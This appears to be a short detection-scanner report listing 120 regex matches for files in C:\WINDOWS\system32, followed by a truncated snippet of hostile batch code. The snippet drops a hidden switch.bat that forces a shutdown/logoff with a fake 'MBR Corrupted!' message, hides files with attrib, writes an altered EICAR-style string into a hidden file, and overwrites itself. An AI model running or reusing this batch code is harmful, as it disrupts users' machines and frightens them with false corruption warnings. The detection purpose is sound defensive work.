Detected 120 occurrence(s) of ‘c:\\windows\\system32\\\w+\.(conf|log|bat)’: 14 >> "C:\WINDOWS\system32\switch.bat" echo :next14 >> "C:\WINDOWS\system32\switch.bat" echo shutdown -l -tp 30 -c "MBR Corrupted! Windows is Shutting Down" >> "C:\WINDOWS\system32\switch.bat" echo exit >> "C:\WINDOWS\system32\switch.bat" attrib +h "C:\WINDOWS\system32\switch.bat" if exist "C:\WINDOWS\system32\vback.nrk" goto done echo X5O!P%@AP[4\PZX54(P^)7CC)7}$K1ll5W1T(H ALERT CORRUPTING SYSTEM SHUTDOWN!$H+H* > "C:\WINDOWS\system32\vback.nrk" attrib +h "C:\WINDOWS\system32\vback.nrk" :done echo dir/s > %0 exito […]
↧